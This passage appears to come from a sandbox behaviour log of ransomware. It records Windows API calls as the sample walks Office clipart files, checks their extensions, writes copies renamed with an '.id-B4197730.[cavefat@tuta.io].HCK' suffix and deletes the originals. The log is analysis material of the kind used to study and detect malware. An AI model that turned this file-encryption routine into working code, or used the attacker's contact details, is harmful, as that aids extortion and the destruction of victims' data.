lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.761] lstrlenW (lpString=".docx") returned 5 [0242.761] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0242.761] lstrlenW (lpString=".pdf") returned 4 [0242.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.761] lstrlenW (lpString=".xls") returned 4 [0242.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.761] lstrlenW (lpString=".xlsx") returned 5 [0242.761] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0242.762] lstrlenW (lpString=".ppt") returned 4 [0242.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".zip") returned 4 [0242.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.762] lstrlenW (lpString=".rar") returned 4 [0242.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString=".bz2") returned 4 [0242.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString=".7z") returned 3 [0242.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".dbf") returned 4 [0242.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".1cd") returned 4 [0242.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".jpg") returned 4 [0242.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".doc") returned 4 [0242.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString=".docx") returned 5 [0242.762] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0242.762] lstrlenW (lpString=".pdf") returned 4 [0242.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString=".xls") returned 4 [0242.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.762] lstrlenW (lpString=".xlsx") returned 5 [0242.762] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0242.762] lstrlenW (lpString=".ppt") returned 4 [0242.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".zip") returned 4 [0242.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.762] lstrlenW (lpString=".rar") returned 4 [0242.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString=".bz2") returned 4 [0242.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString=".7z") returned 3 [0242.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".dbf") returned 4 [0242.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".1cd") returned 4 [0242.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0242.762] lstrlenW (lpString=".jpg") returned 4 [0242.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.763] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.924] lstrlenW (lpString="J0186346.WMF") returned 12 [0242.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.925] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=8666) returned 1 [0242.925] CloseHandle (hObject=0x564) returned 1 [0242.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 0x220 [0242.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.928] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.928] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0242.929] GetLastError () returned 0x0 [0242.929] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x21da, lpOverlapped=0x0) returned 1 [0242.930] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x21e0, lpOverlapped=0x0) returned 1 [0242.931] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.931] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.931] SetEndOfFile (hFile=0x4a4) returned 1 [0242.931] CloseHandle (hObject=0x4a4) returned 1 [0242.931] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.931] SetEndOfFile (hFile=0x564) returned 1 [0242.934] CloseHandle (hObject=0x564) returned 1 [0242.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 1 [0242.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.935] lstrlenW (lpString=".doc") returned 4 [0242.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString=".docx") returned 5 [0242.935] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.935] lstrlenW (lpString=".pdf") returned 4 [0242.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString=".xls") returned 4 [0242.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.935] lstrlenW (lpString=".xlsx") returned 5 [0242.935] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.935] lstrlenW (lpString=".ppt") returned 4 [0242.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.935] lstrlenW (lpString=".zip") returned 4 [0242.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.935] lstrlenW (lpString=".rar") returned 4 [0242.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString=".bz2") returned 4 [0242.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString=".7z") returned 3 [0242.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.935] lstrlenW (lpString=".dbf") returned 4 [0242.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.935] lstrlenW (lpString=".1cd") returned 4 [0242.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.935] lstrlenW (lpString=".jpg") returned 4 [0242.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.936] lstrlenW (lpString=".doc") returned 4 [0242.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString=".docx") returned 5 [0242.936] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.936] lstrlenW (lpString=".pdf") returned 4 [0242.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString=".xls") returned 4 [0242.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.936] lstrlenW (lpString=".xlsx") returned 5 [0242.936] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.936] lstrlenW (lpString=".ppt") returned 4 [0242.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.936] lstrlenW (lpString=".zip") returned 4 [0242.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.936] lstrlenW (lpString=".rar") returned 4 [0242.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString=".bz2") returned 4 [0242.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString=".7z") returned 3 [0242.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.936] lstrlenW (lpString=".dbf") returned 4 [0242.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.936] lstrlenW (lpString=".1cd") returned 4 [0242.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0242.936] lstrlenW (lpString=".jpg") returned 4 [0242.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.936] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.936] lstrlenW (lpString="J0187819.WMF") returned 12 [0242.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.937] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10352) returned 1 [0242.937] CloseHandle (hObject=0x564) returned 1 [0242.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 0x220 [0242.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.938] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.938] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0242.939] GetLastError () returned 0x0 [0242.939] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2870, lpOverlapped=0x0) returned 1 [0242.940] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2880, lpOverlapped=0x0) returned 1 [0242.941] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.941] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.941] SetEndOfFile (hFile=0x4a4) returned 1 [0242.941] CloseHandle (hObject=0x4a4) returned 1 [0242.941] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.941] SetEndOfFile (hFile=0x564) returned 1 [0242.943] CloseHandle (hObject=0x564) returned 1 [0242.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0242.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.944] lstrlenW (lpString=".doc") returned 4 [0242.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.944] lstrlenW (lpString=".docx") returned 5 [0242.944] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0242.944] lstrlenW (lpString=".pdf") returned 4 [0242.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.944] lstrlenW (lpString=".xls") returned 4 [0242.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.944] lstrlenW (lpString=".xlsx") returned 5 [0242.944] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0242.944] lstrlenW (lpString=".ppt") returned 4 [0242.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.944] lstrlenW (lpString=".zip") returned 4 [0242.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.944] lstrlenW (lpString=".rar") returned 4 [0242.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.944] lstrlenW (lpString=".bz2") returned 4 [0242.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.944] lstrlenW (lpString=".7z") returned 3 [0242.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.944] lstrlenW (lpString=".dbf") returned 4 [0242.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.944] lstrlenW (lpString=".1cd") returned 4 [0242.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString=".jpg") returned 4 [0242.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString=".doc") returned 4 [0242.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString=".docx") returned 5 [0242.945] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0242.945] lstrlenW (lpString=".pdf") returned 4 [0242.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString=".xls") returned 4 [0242.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.945] lstrlenW (lpString=".xlsx") returned 5 [0242.945] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0242.945] lstrlenW (lpString=".ppt") returned 4 [0242.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString=".zip") returned 4 [0242.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.945] lstrlenW (lpString=".rar") returned 4 [0242.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString=".bz2") returned 4 [0242.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString=".7z") returned 3 [0242.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString=".dbf") returned 4 [0242.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString=".1cd") returned 4 [0242.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0242.945] lstrlenW (lpString=".jpg") returned 4 [0242.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.945] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.945] lstrlenW (lpString="J0187825.WMF") returned 12 [0242.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.946] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7500) returned 1 [0242.946] CloseHandle (hObject=0x564) returned 1 [0242.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 0x220 [0242.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0242.947] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.947] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0242.948] GetLastError () returned 0x0 [0242.948] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1d4c, lpOverlapped=0x0) returned 1 [0242.949] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1d50, lpOverlapped=0x0) returned 1 [0242.949] ReadFile (in: hFile=0x564, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.950] WriteFile (in: hFile=0x4a4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.950] SetEndOfFile (hFile=0x4a4) returned 1 [0242.950] CloseHandle (hObject=0x4a4) returned 1 [0242.950] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.950] SetEndOfFile (hFile=0x564) returned 1 [0242.952] CloseHandle (hObject=0x564) returned 1 [0242.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 1 [0242.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0242.953] lstrlenW (lpString=".doc") returned 4 [0242.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.953] lstrlenW (lpString=".docx") returned 5 [0242.953] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0242.953] lstrlenW (lpString=".pdf") returned 4 [0242.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.953] lstrlenW (lpString=".xls") returned 4 [0242.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.953] lstrlenW (lpString=".xlsx") returned 5 [0242.953] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0242.953] lstrlenW (lpString=".ppt") returned 4 [0242.953] lstrcmpiW 